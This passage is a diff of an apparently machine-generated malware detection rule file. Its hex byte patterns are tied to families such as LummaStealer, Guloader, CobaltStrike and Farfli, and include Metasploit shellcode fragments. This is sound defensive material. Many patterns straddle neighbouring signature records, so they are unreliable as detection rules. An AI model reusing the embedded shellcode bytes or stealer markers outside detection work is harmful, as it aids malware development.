_InfrastructureShared_6697{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101) >=2 } -rule _InfrastructureShared_6698{ +rule _InfrastructureShared_7056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69935,7 +73693,7 @@ rule _InfrastructureShared_6698{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1) >=2 } -rule _InfrastructureShared_6699{ +rule _InfrastructureShared_7057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69946,7 +73704,7 @@ rule _InfrastructureShared_6699{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*24912) >=2 } -rule _InfrastructureShared_6700{ +rule _InfrastructureShared_7058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69957,7 +73715,7 @@ rule _InfrastructureShared_6700{ ((#a_46_0 & 1)*16675+(#a_c7_1 & 1)*9284) >=2 } -rule _InfrastructureShared_6701{ +rule _InfrastructureShared_7059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69968,18 +73726,29 @@ rule _InfrastructureShared_6701{ ((#a_46_0 & 1)*16675+(#a_d1_1 & 1)*18440) >=2 } -rule _InfrastructureShared_6702{ +rule _InfrastructureShared_7060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 46 61 72 66 6c 69 2e 42 47 21 41 2e 32 00 01 00 26 01 8b 45 f8 3b 45 f4 7d 28 8b 4d fc 03 4d f8 8a 11 80 ea 09 8b 45 fc 03 45 f8 88 10 8b 4d fc 03 4d f8 8a 11 80 f2 23 01 00 14 01 c6 45 f4 5c c6 45 f5 } //18467 - $a_f6_1 = {c6 45 f7 72 c6 45 f8 6c 00 00 78 6e 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 32 31 31 32 32 21 4d 54 42 00 01 00 17 01 06 17 } //-14737 + $a_f6_1 = {c6 45 f7 72 c6 45 f8 6c 00 00 78 6e 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 32 00 01 00 22 03 50 45 00 00 4c 01 06 90 01 11 0b 01 0e 00 00 70 19 00 00 de } //-14737 condition: ((#a_54_0 & 1)*18467+(#a_f6_1 & 1)*-14737) >=2 } -rule _InfrastructureShared_6703{ +rule _InfrastructureShared_7061{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 32 00 01 00 22 03 50 45 00 00 4c 01 06 90 01 11 0b 01 0e 00 00 70 19 00 00 de 01 00 00 00 00 00 85 de 18 00 00 10 90 00 01 00 23 01 73 68 34 6e 79 61 5f 66 75 63 6b 34 76 5f 30 78 30 30 30 43 46 41 } //18467 + $a_46_1 = {36 43 38 34 2e 64 6c 6c 00 00 78 6e 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 } //13624 + condition: + ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*13624) >=2 + +} +rule _InfrastructureShared_7062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69990,7 +73759,7 @@ rule _InfrastructureShared_6703{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25961) >=2 } -rule _InfrastructureShared_6704{ +rule _InfrastructureShared_7063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -70001,7 +73770,7 @@ rule _InfrastructureShared_6704{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*16490) >=2 } -rule _InfrastructureShared_6705{ +rule _InfrastructureShared_7064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -70012,7 +73781,7 @@ rule _InfrastructureShared_6705{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26941) >=2 } -rule _InfrastructureShared_6706{ +rule _InfrastructureShared_7065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -70023,7 +73792,7 @@ rule _InfrastructureShared_6706{ ((#a_54_0 & 1)*18467+(#a_d2_1 & 1)*-27287) >=2 } -rule _InfrastructureShared_6707{ +rule _InfrastructureShared_7066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -70033,7 +73802,7 @@ rule _InfrastructureShared_6707{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_6708{ +rule _InfrastructureShared_7067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -70044,7 +73813,7 @@ rule _InfrastructureShared_6708{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24933) >=2 } -rule _InfrastructureShared_6709{ +rule _InfrastructureShared_7068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -70055,18 +73824,7 @@ rule _InfrastructureShared_6709{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*-252) >=2 } -rule _InfrastructureShared_6710{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 6e 76 61 67 65 6e 74 2e 41 21 4d 54 42 00 01 00 1f 01 4d 8b ad d8 03 00 00 49 83 ef 01 73 f3 6a 01 58 48 89 85 c0 01 00 00 45 31 ff 45 31 c0 eb 29 01 00 1b 80 01 } //21539 - $a_76_1 = {72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 00 00 78 6e 00 00 02 00 02 00 02 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 2e 01 5c 4d 65 73 68 41 67 65 6e 74 5c 4d 65 73 68 41 67 65 6e 74 5c 52 65 6c 65 61 73 65 5c 4d 65 73 68 53 65 72 76 69 63 } //28483 - condition: - ((#a_4c_0 & 1)*21539+(#a_76_1 & 1)*28483) >=2 - -} -rule _InfrastructureShared_6711{ +rule _InfrastructureShared_7069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -70077,7 +73835,7 @@ rule _InfrastructureShared_6711{ ((#a_5f_0 & 1)*25635+(#a_6d_1 & 1)*24431) >=2 } -rule _InfrastructureShared_6712{ +rule _InfrastructureShared_7070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -70088,7 +73846,7 @@ rule _InfrastructureShared_6712{ ((#a_5f_0 & 1)*25635+(#a_45_1 & 1)*17996) >=2 } -rule _InfrastructureShared_6713{ +rule _InfrastructureShared_7071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -70099,7 +73857,7 @@ rule _InfrastructureShared_6713{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*27749) >=2 } -rule _InfrastructureShared_6714{ +rule _InfrastructureShared_7072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -70111,7 +73869,7 @@ rule _InfrastructureShared_6714{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28483+(#a_6f_2 & 1)*11877) >=2 } -rule _InfrastructureShared_6715{ +rule _InfrastructureShared_7073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -70123,7 +73881,7 @@ rule _InfrastructureShared_6715{ ((#a_77_0 & 1)*19491+(#a_3a_1 & 1)*21587+(#a_fc_2 & 1)*-14337) >=2 } -rule _InfrastructureShared_6716{ +rule _InfrastructureShared_7074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -70134,7 +73892,7 @@ rule _InfrastructureShared_6716{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*-1) >=3 } -rule _InfrastructureShared_6717{ +rule _InfrastructureShared_7075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -70146,7 +73904,7 @@ rule _InfrastructureShared_6717{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_6e_2 & 1)*0) >=3 } -rule _InfrastructureShared_6718{ +rule _InfrastructureShared_7076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -70158,7 +73916,7 @@ rule _InfrastructureShared_6718{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29283+(#a_74_2 & 1)*31053) >=3 } -rule _InfrastructureShared_6719{ +rule _InfrastructureShared_7077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -70170,7 +73928,7 @@ rule _InfrastructureShared_6719{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_6e_2 & 1)*0) >=3 } -rule _InfrastructureShared_6720{ +rule _InfrastructureShared_7078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -70181,31 +73939,52 @@ rule _InfrastructureShared_6720{ ((#a_46_0 & 1)*16675+(#a_49_2 & 1)*17631) >=3 } -rule _InfrastructureShared_6721{ +rule _InfrastructureShared_7079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 4d 73 66 70 61 79 6c 6f 61 64 73 5f 6d 73 66 5f 31 30 00 01 00 10 01 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 01 00 10 01 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b } //16675 $a_01_1 = {01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f } //1 - $a_6e_2 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 53 65 72 76 69 63 65 5f 72 63 6f 72 65 73 00 01 00 07 01 5f 72 63 6f 72 65 73 01 00 11 01 77 77 77 2e 6e 73 6f 66 74 77 61 72 65 2e 63 6f 6d 01 00 2c 01 33 31 34 35 34 32 33 39 34 31 34 32 33 38 33 39 33 35 33 39 33 30 33 32 33 39 33 34 35 33 35 30 34 38 33 31 34 45 35 38 35 35 34 31 00 00 78 6e 00 00 03 00 03 00 03 } //0 + $a_6e_2 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 00 01 00 05 01 4d 5a 78 00 01 01 00 1c 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 49 90 01 15 40 00 00 e0 90 00 01 00 21 03 50 45 00 00 4c 01 07 90 01 11 0b 01 0e 00 00 e0 04 00 00 b8 00 00 00 00 00 00 00 90 01 01 49 90 00 00 00 78 6e 00 00 03 00 03 00 03 } //0 condition: ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_6e_2 & 1)*0) >=3 } -rule _InfrastructureShared_6722{ +rule _InfrastructureShared_7080{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 00 01 00 05 01 4d 5a 78 00 01 01 00 1c 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 49 90 01 15 40 00 00 e0 90 00 01 00 21 03 50 45 00 00 4c 01 07 90 01 11 0b 01 0e 00 00 e0 04 00 00 b8 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=3 + +} +rule _InfrastructureShared_7081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 53 65 72 76 69 63 65 5f 72 63 6f 72 65 73 00 01 00 07 01 5f 72 63 6f 72 65 73 01 00 11 01 77 77 77 2e 6e 73 6f 66 74 77 61 72 65 2e 63 6f 6d 01 00 2c 01 33 31 34 35 34 32 33 39 34 31 34 32 33 38 33 39 33 35 33 39 33 30 33 32 33 39 33 34 35 33 35 } //18467 - $a_33_1 = {34 45 35 38 35 35 34 31 00 00 78 6e 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 47 4b 31 32 33 21 4d 54 42 00 01 00 } //13360 - $a_62_2 = {61 } //-32490 a + $a_33_1 = {34 45 35 38 35 35 34 31 00 00 78 6e 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 53 30 31 21 4d } //13360 condition: - ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*13360+(#a_62_2 & 1)*-32490) >=3 + ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*13360) >=3 } -rule _InfrastructureShared_6723{ +rule _InfrastructureShared_7082{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 53 30 31 21 4d 54 42 00 01 00 16 81 01 64 65 74 61 69 6c 73 70 72 67 73 6d 61 61 6c 65 74 73 2e 65 78 65 01 00 0b 81 01 73 69 6e 64 65 6c 61 67 65 6e 65 01 00 0f 81 01 66 69 } //18467 + $a_6c_1 = {69 67 68 65 64 65 6e 73 00 00 78 6e 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 47 4b 31 32 33 21 4d 54 42 00 01 00 16 81 01 62 61 61 6e 64 73 75 73 65 74 73 20 75 64 76 69 6b 6c 65 64 65 73 01 00 0f 81 01 62 65 73 74 72 65 77 6d 65 6e 74 2e 65 78 65 01 00 10 81 01 76 69 6b 61 72 } //26734 + $a_65_2 = {75 65 72 6e 65 73 00 00 78 6e 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 51 51 53 31 32 33 21 4d 54 42 00 01 00 0f 81 01 42 69 74 54 6f 72 72 65 6e 74 20 49 6e 63 2e 01 00 1c 81 01 50 61 63 69 66 69 63 20 47 61 73 20 26 20 45 6c 65 63 74 72 69 63 20 43 6f 72 70 2e 01 00 0a 81 01 74 61 72 73 } //30050 + condition: + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*26734+(#a_65_2 & 1)*30050) >=3 + +} +rule _InfrastructureShared_7083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -70217,7 +73996,7 @@ rule _InfrastructureShared_6723{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29281+(#a_20_2 & 1)*26994) >=3 } -rule _InfrastructureShared_6724{ +rule _InfrastructureShared_7084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -70229,7 +74008,7 @@ rule _InfrastructureShared_6724{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*-32502+(#a_2e_2 & 1)*25971) >=3 } -rule _InfrastructureShared_6725{ +rule _InfrastructureShared_7085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -70241,43 +74020,55 @@ rule _InfrastructureShared_6725{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*24929+(#a_65_2 & 1)*28265) >=3 } -rule _InfrastructureShared_6726{ +rule _InfrastructureShared_7086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 43 31 32 33 21 4d 54 42 00 01 00 08 81 01 74 68 69 61 73 75 73 69 01 00 05 81 01 64 61 6e 6e 61 01 00 28 81 01 67 72 61 6e 64 73 74 61 6e 64 65 72 20 61 6d 65 6c 69 6f 72 61 74 65 64 20 6d 69 } //18467 $a_75_1 = {73 74 69 6c 6c 69 6e 67 00 00 78 6e 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 59 53 31 32 33 21 4d 54 42 00 01 00 20 81 01 73 63 61 70 75 6c 61 73 20 75 6e 64 69 76 65 72 74 69 6e 67 20 61 67 69 74 61 74 6f 72 65 72 73 01 00 0d 81 01 65 75 63 61 72 } //25710 - $a_73_2 = {65 78 65 01 00 08 81 01 6d 6f 62 69 6c 69 61 6e 00 00 78 6e 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 45 30 31 21 4d 54 42 00 01 00 05 81 01 4c 65 78 75 73 01 00 18 81 01 4d 61 6c 77 61 72 65 62 79 74 65 73 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 19 81 01 6c 6f 79 61 6c 69 74 65 74 65 72 73 } //28528 + $a_73_2 = {65 78 65 01 00 08 81 01 6d 6f 62 69 6c 69 61 6e 00 00 78 6e 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 59 34 33 21 4d 54 42 00 01 00 0f 81 01 61 6e 67 72 65 62 73 73 74 79 72 6b 65 72 73 01 00 19 81 01 76 6f 67 6e 6d 61 6e 64 73 66 6f 72 72 65 74 6e 69 6e 67 65 72 2e 6a 70 67 01 00 0f 81 01 73 74 } //28528 condition: ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25710+(#a_73_2 & 1)*28528) >=3 } -rule _InfrastructureShared_6727{ +rule _InfrastructureShared_7087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 59 53 31 32 33 21 4d 54 42 00 01 00 20 81 01 73 63 61 70 75 6c 61 73 20 75 6e 64 69 76 65 72 74 69 6e 67 20 61 67 69 74 61 74 6f 72 65 72 73 01 00 0d 81 01 65 75 63 61 72 70 6f 75 73 2e 65 78 65 } //18467 $a_81_1 = {6d 6f 62 69 6c 69 61 6e } //1 mobilian - $a_6e_2 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 45 30 31 21 4d 54 42 00 01 00 05 81 01 4c 65 78 75 73 01 00 18 81 01 4d 61 6c 77 61 72 65 62 79 74 65 73 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 19 81 01 6c 6f 79 61 6c 69 74 65 74 65 72 73 20 72 61 64 69 65 72 6e 65 2e 65 78 65 00 00 78 6e 00 00 03 00 03 00 04 } //0 + $a_6e_2 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 59 34 33 21 4d 54 42 00 01 00 0f 81 01 61 6e 67 72 65 62 73 73 74 79 72 6b 65 72 73 01 00 19 81 01 76 6f 67 6e 6d 61 6e 64 73 66 6f 72 72 65 74 6e 69 6e 67 65 72 2e 6a 70 67 01 00 0f 81 01 73 74 61 74 69 6f 6e 65 72 65 74 2e 68 74 6d 00 00 78 6e 00 00 03 00 03 00 03 } //0 condition: ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_6e_2 & 1)*0) >=3 } -rule _InfrastructureShared_6728{ +rule _InfrastructureShared_7088{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 59 34 33 21 4d 54 42 00 01 00 0f 81 01 61 6e 67 72 65 62 73 73 74 79 72 6b 65 72 73 01 00 19 81 01 76 6f 67 6e 6d 61 6e 64 73 66 6f 72 72 65 74 6e 69 6e 67 65 72 2e 6a 70 67 01 00 0f 81 01 73 74 } //18467 + $a_6f_1 = {65 72 65 74 2e 68 74 6d 00 00 78 6e 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 45 30 31 21 4d 54 42 00 01 00 05 81 01 4c 65 78 75 73 01 00 18 81 01 4d 61 6c 77 61 72 65 62 79 74 65 73 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 19 81 01 6c 6f 79 61 6c 69 74 65 } //29793 + $a_73_2 = {72 61 64 69 65 72 6e 65 2e 65 78 65 00 00 78 6e 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 65 77 79 76 65 72 62 2e 41 21 64 68 61 00 01 00 1f 03 66 0f 6e c0 66 0f 70 c0 00 66 0f fe 05 90 01 04 0f 11 44 87 08 83 c0 04 3d 00 01 00 00 90 00 01 00 04 01 2e 74 75 74 01 00 06 01 25 73 7c 46 } //25972 + condition: + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29793+(#a_73_2 & 1)*25972) >=3 + +} +rule _InfrastructureShared_7089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 45 30 31 21 4d 54 42 00 01 00 05 81 01 4c 65 78 75 73 01 00 18 81 01 4d 61 6c 77 61 72 65 62 79 74 65 73 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 19 81 01 6c 6f 79 61 6c 69 74 65 74 65 72 73 } //18467 $a_64_1 = {65 72 6e 65 2e 65 78 65 00 00 78 6e 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 65 77 79 76 65 72 62 2e 41 21 64 68 61 00 01 00 1f 03 66 0f 6e c0 66 0f 70 c0 00 66 0f fe 05 90 01 04 0f 11 44 87 08 83 c0 04 3d 00 01 00 00 90 00 01 00 04 } //29216 - $a_75_2 = {01 00 06 01 25 73 7c 46 49 4e 01 00 06 01 6d 79 6d 61 69 6e 00 00 78 6e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 54 6f 49 6e 6a 65 63 74 53 75 73 54 68 72 65 61 64 00 01 00 0a 80 01 4f 70 65 6e 54 68 72 65 61 64 01 00 0d 80 01 53 75 73 70 65 6e 64 54 68 72 65 61 64 01 00 10 80 01 53 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 } //11777 + $a_75_2 = {01 00 06 01 25 73 7c 46 49 4e 01 00 06 01 6d 79 6d 61 69 6e 00 00 78 6e 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 44 42 56 4c 21 4d 54 42 00 02 00 2b 01 39 30 39 30 39 30 39 30 39 30 34 66 34 66 35 30 35 33 35 35 34 38 38 39 65 35 34 38 38 31 65 63 32 30 30 30 30 30 30 } //11777 condition: ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29216+(#a_75_2 & 1)*11777) >=3 } -rule _InfrastructureShared_6729{ +rule _InfrastructureShared_7090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -70285,37 +74076,85 @@ rule _InfrastructureShared_6729{ $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 65 77 79 76 65 72 62 2e 41 21 64 68 61 00 01 00 1f 03 66 0f 6e c0 66 0f 70 c0 00 66 0f fe 05 90 01 04 0f 11 44 87 08 83 c0 04 3d 00 01 00 00 90 00 01 00 04 01 2e 74 75 74 } //16675 $a_01_1 = {25 73 7c 46 49 4e } //1 %s|FIN $a_01_2 = {6d 79 6d 61 69 6e } //1 mymain - $a_6e_3 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 54 6f 49 6e 6a 65 63 74 53 75 73 54 68 72 65 61 64 00 01 00 0a 80 01 4f 70 65 6e 54 68 72 65 61 64 01 00 0d 80 01 53 75 73 70 65 6e 64 54 68 72 65 61 64 01 00 10 80 01 53 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 01 00 0c 80 01 52 65 73 75 6d 65 54 68 72 65 61 64 00 00 78 6e 00 00 04 00 04 00 04 } //0 + $a_6e_3 = {00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 44 42 56 4c 21 4d 54 42 00 02 00 2b 01 39 30 39 30 39 30 39 30 39 30 34 66 34 66 35 30 35 33 35 35 34 38 38 39 65 35 34 38 38 31 65 63 32 30 30 30 30 30 30 30 34 38 38 02 00 0a 01 47 6f 20 72 75 6e 74 69 6d 65 00 00 78 6e 00 00 04 00 04 00 03 } //0 condition: ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_6e_3 & 1)*0) >=3 } -rule _InfrastructureShared_6730{ +rule _InfrastructureShared_7091{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 44 42 56 4c 21 4d 54 42 00 02 00 2b 01 39 30 39 30 39 30 39 30 39 30 34 66 34 66 35 30 35 33 35 35 34 38 38 39 65 35 34 38 38 31 } //21539 + $a_30_1 = {30 30 30 30 30 34 38 38 02 00 0a 01 47 6f 20 72 75 6e 74 69 6d 65 00 00 78 6e 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f } //25445 + condition: + ((#a_4c_0 & 1)*21539+(#a_30_1 & 1)*25445) >=4 + +} +rule _InfrastructureShared_7092{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " + + strings : + $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 61 77 35 32 00 02 00 16 80 01 77 69 6e 64 6f 77 73 2e 6a 69 75 7a 68 61 6f 72 65 6e 2e 74 6f 70 01 00 14 80 01 6e 6a 6d 79 79 2e 6a 69 75 7a 68 61 6f 72 65 6e 2e 74 6f } //16675 + $a_73_2 = {56 65 73 74 69 67 65 2e 69 6e 69 00 00 78 6e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 54 6f 49 6e 6a 65 63 74 53 75 73 54 68 72 65 61 64 00 01 00 0a 80 01 4f 70 65 6e 54 68 72 65 61 64 01 00 0d 80 01 53 75 73 70 65 6e 64 54 68 72 65 } //384 + condition: + ((#a_46_0 & 1)*16675+(#a_73_2 & 1)*384) >=4 + +} +rule _InfrastructureShared_7093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 49 6e 74 65 6e 74 54 6f 49 6e 6a 65 63 74 53 75 73 54 68 72 65 61 64 00 01 00 0a 80 01 4f 70 65 6e 54 68 72 65 61 64 01 00 0d 80 01 53 75 73 70 65 6e 64 54 68 72 65 61 64 01 00 10 80 01 53 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 01 00 0c 80 } //18467 $a_73_1 = {6d 65 54 68 72 65 61 64 00 00 78 6e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 72 64 6f 6e 2e 41 21 64 68 61 00 01 00 0a 80 01 4d 79 53 74 75 62 50 61 74 68 01 00 0b 80 01 4d 63 70 52 6f 78 79 2e 65 78 65 01 00 0d 80 01 72 61 74 5f 55 6e 49 6e 73 74 61 6c } //20993 - $a_69_3 = {53 74 61 30 